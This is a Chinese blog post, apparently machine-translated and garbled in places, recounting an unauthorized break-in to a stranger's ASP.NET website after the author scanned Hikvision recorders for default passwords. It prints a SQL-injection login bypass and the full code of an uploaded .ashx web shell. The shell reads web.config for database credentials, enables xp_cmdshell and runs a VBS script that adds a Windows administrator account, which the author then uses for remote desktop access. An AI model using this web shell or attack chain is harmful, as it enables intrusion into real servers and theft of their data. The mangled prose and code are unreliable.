记一次ASP.NET网站的入侵和如何避免被入侵
首先我要声明,用任何语言写的程序流是不是不安全,但这要看敲代码的人怎么写程序流。
前几天发现客户的视频监控系统用的是海康的硬盘录像机,然后默认用户名是amdin,密码是12345。回到家,我想随便玩玩,看看有多少是用默认的登录密码,于是我写了一个扫描器程序流,扫描器很快就来了一大批网站,很多都选择了默认的用户名和登录密码。
玩了一两天,发现没什么好玩的,就在里面随便找了找扫描仪记录,看到了一些后台管理的详细地址,就全查了,然后就找到了这个网站:
起初,我测试的是弱密码:
Adminin等。,随机检测了很多,但是失败了,于是他们刚开始检测sql的引入防止,输入用户名1'或者1=1——登录密码随机丢失1次登录,登录成功...
但是登录后发现一个错误!!!想想可能是用户名的问题,就找页面看能不能看到我的登录用户名,最后在一封邮件里找到了。
如果自然入侵仅止于此,你无疑会确信地堡...其实也很自然,因为我已经获取了他的数据信息和程序流程。自然最好是把他的web服务器拆掉,了解到他的web服务器是做端口映射的,于是就把他的路由器拆掉了,然后就没再下了。自然他也能坚持下来,比如dns劫持,页面跳转,无线路由器的端口镜像。
下面我就开始详细介绍重点入侵页面和上传文件页面:
写了一个ashx页面并提交了它
编码非常简单,即加载到网址中的web.config文件然后作为文本输出。
我先简单说一下入侵步骤:
1.加载web.config以获取连接数据库。
2.使用SQLServer运行命令,添加Windows客户端(因为URL默认为iis客户端,没有管理权限的并行网等相关实际 *** 作,但是SQLServer按照本地生活服务运行,管理权限很高)
我发布了我提交的ashx文档代码:
<%@webhandlerLanguage="c#"Class="TextLd"%>;
使用系统;
使用系统。集合。泛型;
使用系统。Linq
使用系统。Web
使用系统。Data.SqlClient
公共类TextLd:IHttpHandler
{
publicvoidCreateLocalUser(字符串newPath)
{
系统。diagnostics.process.start(@"d:.VBS));
系统。IO.file.writealltext(@"d:\1.VBS","setwsnetwork=CreateObject(\"WSCRIPT。网络\")\r\nOS=\"winnt://\"&;wsnetwork。\r\nSetob=GetObject(OS)\r\nSetOE=GetObject(OS&;\"/Administrators,group\")'属性,admingroup\r\nod=ob.create(\"user\",\"test\")'createcustomer\r\nsetpassword\"1234\"'passwordsettings\r\nset\"/test\",user)\r\naddOS&;\"/test\"";
}
公共voidShowWebConfig(HttpContext上下文)
{
语境。Response.Write(系统。IO.File.ReadAllText(上下文。request.MapPath("~/web.config"));
}
公共voidWriteVbs(HttpContext上下文)
{
系统。IO.File.WriteAllText(上下文。Request.MapPath("~/1.vbs"),"setwsnetwork=CreateObject(\"WSCRIPT。网络\")\r\nOS=\"winnt://\"&;wsnetwork。\r\nSetob=GetObject(OS)\r\nSetOE=GetObject(OS&;\"/Administrators,group\")'属性,admingroup\r\nod=ob.create(\"user\",\"test\")'createcustomer\r\nsetpassword\"1234\"'passwordsettings\r\nset\"/test\",user)\r\naddOS&;\"/test\"";
}
公共voidExecuteSql(字符串连接,字符串Sql)
{
using(SqlConnectioncon=newSqlConnection(connection))
{
using(SqlCommandcommd=newSqlCommand(SQL,con))
{
con.Open();
命令。ExecuteNonQuery();
con.Close();
}
}
}
公共voidProcessRequest(HttpContext上下文)
{
语境。response.contenttype="text/plain";
语境。Response.Write(系统。IO.File.ReadAllText(上下文。request.MapPath("~/web.config"));
尝试
{
var连接=上下文。request.querystring["connection"];
切换(上下文。Request.QueryString["method"])
{
案例“1”:writeVBS(上下文);打破;
案例“2”:
ExecuteSql(连接,@"sp_configure'显示高级选项',1reconfigure));
ExecuteSql(connection,@"sp_configure'xp_cmdshell',1reconfigure));//打开xp_cmdshell进行数据库查询
打破;
案例“3”:executeSQL(连接,“execmaster..xp_cmdshell'cscript"上下文。request.MapPath("~/1.VBS")"'");
打破;
默认值:
ShowWebConfig(上下文);
打破;
}
}
catch(例外ex)
{
语境。回复。写(例如。消息);
}
语境。response.End();
}
公共布尔值是可重用的
{
得到
{
返回false
}
}
}
下一次实现的时候是这样的,网络服务器不小心把它拿下来了!创建了一个用户名为test、密码为1234的超级用户客户端,因此检测到了远程桌面连接。
每个人都知道之后该做什么...
自然,如果你不拿下他的网络服务器,想想吧。你可以并行你自己的代码...哪些错误的事情是你不能做的?。。自然,我只测试了可行性分析。就算我不把网络服务器拆掉,实现sql语句免费下载他的数据备份也不是一件突然的事情。
好了,让我总结一下这次入侵。娄底最关键的其实不是他的sql注入(我感觉,很自然,他就是触发器),而只是上传文件。程之前客户提交的大部分文档都是在网站导航下的一个文件夹名中保存,不做任何解决。这是他的web服务器意外拿下的最关键的渠道。
所以我还是劝大家还是上传文件或者解决比较好。毫无疑问,有很多方法可以对付聪明的你...
我不能伤害我的小学文化...请原谅我糟糕的文笔,就将就一下吧!
评论列表(0条)